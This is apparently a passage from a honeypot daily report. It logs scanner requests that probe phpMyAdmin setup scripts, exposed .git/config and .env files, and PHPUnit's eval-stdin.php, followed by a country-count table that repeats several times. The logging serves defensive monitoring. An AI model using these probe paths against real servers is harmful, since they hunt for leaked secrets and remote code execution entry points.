301	1	GET http://xxx.xxx.xxx.xxx:80/phpMyAdmin-2.10.2/scripts/setup.php HTTP/1.0
302	1	GET http://xxx.xxx.xxx.xxx:80/phpMyAdmin-2.11.9.2/scripts/setup.php HTTP/1.0
303	1	GET http://xxx.xxx.xxx.xxx:80/phpMyAdmin-2.11.0/scripts/setup.php HTTP/1.0
304	1	GET http://xxx.xxx.xxx.xxx:80/phpMyAdmin-2.11.7/scripts/setup.php HTTP/1.0
305	1	GET http://xxx.xxx.xxx.xxx:80/phpMyAdmin-2.11.1.2/scripts/setup.php HTTP/1.0
306	1	GET http://xxx.xxx.xxx.xxx:80/pma/scripts/setup.php HTTP/1.0
307	1	GET http://xxx.xxx.xxx.xxx:80/myadmin/scripts/setup.php HTTP/1.0
308	1	\x80\x00\x00(r\xFE\x1D\x13\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x86\xA0\x00\x01\x97
309	1	GET /test/.git/config HTTP/1.1
310	1	\x16\x03\x01\x05\xA8\x01\x00\x05\xA4\x03\x03\x0Ee\xAD\xD3\xAC\xB5\x8E\xC1\x88z\xAA1\x1C\x04\xF4=\xA48\xE0\xF33
311	1	\x16\x03\x01\x00{\x01\x00\x00w\x03\x03\xBA\x80\xAE\xCE\xC1G\x06\xC1\x22Y
312	1	GET /wordpress/.env HTTP/1.1
313	1	GET /docker/.env HTTP/1.1
314	1	GET /.env.staging HTTP/1.1
315	1	\x16\x03\x01\x00{\x01\x00\x00w\x03\x03\xBC\xAB\xF4xDn5)J\x81\x1E\xC7\xD9*{\x95\xF3@\xB6\xA5\xE1\xFDah\x5CC\xDD\x01\x07Dd\xBA\x00\x00\x1A\xC0/\xC0+\xC0\x11\xC0\x07\xC0\x13\xC0\x09\xC0\x14\xC0
316	1	GET http://xxx.xxx.xxx.xxx:80/phpMyAdmin-2.11.4/scripts/setup.php HTTP/1.0
317	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03m\x1F\xA1l\xE5k\xD4\xFB\x1D\x8A\xEA\x84_Qo^\xA5\xBC\x0E\xD7f\x07\xC4T\xB0\x84\xE3H\x9C4D@ {\xEE\x09_\x94\xBF\x96\x02\xF4ol<e5\xDD\x81T\x15Zw\x8E\x93\xE8<\xC6H\xCE;aI\xA4\xFF\x00&\xC0+\xC0/\xC0,\xC00\xCC\xA9\xCC\xA8\xC0\x09\xC0\x13\xC0
318	1	GET /build_tool/.git/config HTTP/1.1
319	1	GET /ci/.git/config HTTP/1.1
320	1	GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
321	1	GET /phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
322	1	GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1
323	1	GET /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
324	1	PRI * HTTP/2.0
325	1	\x16\x03\x01\x00{\x01\x00\x00w\x03\x03\xAC69\x95\xDDi \x84\x96\xC5\xC5.d6\xC0Rm\xDC\x08\x9D]\xEA\x9E\x19=\x99\xF3X\x91\xD0\xEED\x00\x00\x1A\xC0/\xC0+\xC0\x11\xC0\x07\xC0\x13\xC0\x09\xC0\x14\xC0
326	1	GET http://xxx.xxx.xxx.xxx:80/phpMyAdmin-2.11.3/scripts/setup.php HTTP/1.0
327	1	GET http://xxx.xxx.xxx.xxx:80/phpMyAdmin-2.10.0.2/scripts/setup.php HTTP/1.0
328	1	GET http://xxx.xxx.xxx.xxx:80/phpMyAdmin-2.10.3/scripts/setup.php HTTP/1.0
329	1	GET http://xxx.xxx.xxx.xxx:80/phpMyAdmin-2.8.0.2/scripts/setup.php HTTP/1.0
330	1	GET /lib/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
331	1	GET /lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
332	1	GET /lib/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
333	1	GET /logs/current/.git/config HTTP/1.1
334	1	GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
335	1	GET /www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
336	1	GET /ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
337	1	GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
338	1	GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
339	1	GET /ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
340	1	GET /V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
341	1	GET /tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
342	1	GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1

country_iso_code
#

	number_of_occurence	country_iso_code
0	226	US
1	156	HK
2	140	NL
3	89	PL
4	75	BG
5	70	DE
6	50	TR
7	43	ES
8	32	TW
9	23	GB
10	16	SG
11	15	SC
12	12	NG
13	12	CN
14	11	AU
15	10	CH
16	8	KR
17	8	VN
18	8	RU
19	7	UA
20	7	IN
21	6	RO
22	4	MD
23	4	AO
24	4	JP
25	4	IL
26	3	FR
27	3	BE
28	2	BR
29	2	IT
30	2	CR
31	1	GH
32	1	GR
33	1	ID
34	1	OM
35	1	TH
36	1	NO
37	1	AR
38	1	CZ
39	1	PT
40	1	AZ

Report: 2025-03-05

5 March 2025·4143 words

Repport Daily

Report: 2025-03-04

4 March 2025·3693 words

Repport Daily

Report: 2025-03-04

4 March 2025·3693 words

Repport Daily

	number_of_occurence	country_iso_code
0	226	US
1	156	HK
2	140	NL
3	89	PL
4	75	BG
5	70	DE
6	50	TR
7	43	ES
8	32	TW
9	23	GB
10	16	SG
11	15	SC
12	12	NG
13	12	CN
14	11	AU
15	10	CH
16	8	KR
17	8	VN
18	8	RU
19	7	UA
20	7	IN
21	6	RO
22	4	MD
23	4	AO
24	4	JP
25	4	IL
26	3	FR
27	3	BE
28	2	BR
29	2	IT
30	2	CR
31	1	GH
32	1	GR
33	1	ID
34	1	OM
35	1	TH
36	1	NO
37	1	AR
38	1	CZ
39	1	PT
40	1	AZ

	number_of_occurence	country_iso_code
0	226	US
1	156	HK
2	140	NL
3	89	PL
4	75	BG
5	70	DE
6	50	TR
7	43	ES
8	32	TW
9	23	GB
10	16	SG
11	15	SC
12	12	NG
13	12	CN
14	11	AU
15	10	CH
16	8	KR
17	8	VN
18	8	RU
19	7	UA
20	7	IN
21	6	RO
22	4	MD
23	4	AO
24	4	JP
25	4	IL
26	3	FR
27	3	BE
28	2	BR
29	2	IT
30	2	CR
31	1	GH
32	1	GR
33	1	ID
34	1	OM
35	1	TH
36	1	NO
37	1	AR
38	1	CZ
39	1	PT
40	1	AZ

Daily Report: 2025-03-06#

ot_simplified_report#

botnet_dropper_behaviour#

list_of_source_IP_addresses#

user_agent#

request#

country_iso_code#

Related

Daily Report: 2025-03-06
#

ot_simplified_report
#

botnet_dropper_behaviour
#

list_of_source_IP_addresses
#

user_agent
#

request
#

country_iso_code
#

	number_of_occurence	country_iso_code
0	226	US
1	156	HK
2	140	NL
3	89	PL
4	75	BG
5	70	DE
6	50	TR
7	43	ES
8	32	TW
9	23	GB
10	16	SG
11	15	SC
12	12	NG
13	12	CN
14	11	AU
15	10	CH
16	8	KR
17	8	VN
18	8	RU
19	7	UA
20	7	IN
21	6	RO
22	4	MD
23	4	AO
24	4	JP
25	4	IL
26	3	FR
27	3	BE
28	2	BR
29	2	IT
30	2	CR
31	1	GH
32	1	GR
33	1	ID
34	1	OM
35	1	TH
36	1	NO
37	1	AR
38	1	CZ
39	1	PT
40	1	AZ